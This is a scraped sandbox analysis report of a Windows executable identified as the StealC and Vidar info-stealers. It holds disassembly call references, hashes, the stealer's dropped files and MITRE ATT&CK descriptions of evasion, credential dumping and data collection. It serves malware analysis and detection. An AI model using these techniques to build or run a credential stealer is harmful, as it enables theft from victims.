EnterCriticalSection.KERNEL32(6CC4E744,6CC27765,00000000,6CC27765,?,6CBE6112), ref: 6CBC39AF
LeaveCriticalSection.KERNEL32(6CC4E744,?,6CBE6112), ref: 6CBC3A34
EnterCriticalSection.KERNEL32(6CC4E784,6CBE6112), ref: 6CBC3A4B
LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBC3A5F

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 977583bd6aa6168ca32bb1e00b8ec6c85a239c74df76175cf075f0bd6a9e7cb6
Instruction ID: e71199a43ca50c99b6cc3475d4b34036fe3ee42b0d1a9c5798f18165e56953bc
Opcode Fuzzy Hash: 977583bd6aa6168ca32bb1e00b8ec6c85a239c74df76175cf075f0bd6a9e7cb6
Instruction Fuzzy Hash: E6213232301A418FC724EB69C455A6EB3B1EB86728729C62DD46687F40EB70A805C793

Function 6CC126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC126C1
free.MOZGLUE(?), ref: 6CC126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC126FF
free.MOZGLUE ref: 6CC1270D

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3ba2d4c3a624d0fff13b8363e66766ec04a6b02dd4b0f8b4ed002a52d3c36079
Instruction ID: 8c1a757c2d146d3c18a94477d710e64ff1643f37702c3cc3cefba0c40ec9a0b1
Opcode Fuzzy Hash: 3ba2d4c3a624d0fff13b8363e66766ec04a6b02dd4b0f8b4ed002a52d3c36079
Instruction Fuzzy Hash: A0F0F4B67052405BE7109A19E888A5BB3A9EF5635CB144035EA1AC3F02F332F919D6A6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CR0QGWXdDl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDAKJK

C:\ProgramData\AFHDAKJKFCFBGCBGDHCB

C:\ProgramData\BFIJEHCBAKFCAKFHCGDG

C:\ProgramData\DGIJEGHDAECAKECAFCAKFCGDAE

C:\ProgramData\EGIDAAFIEHIEHJKFHCAE

C:\ProgramData\EHCBAAAF

C:\ProgramData\EHCBAAAFHJDHJJKEBGHIECAKJK

C:\ProgramData\KKJKFBKKECFHJKEBKEHIDAEBKF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
CR0QGWXdDl.exe

Function 00721FE0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 433
memoryCOMMON

Function 0073A39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre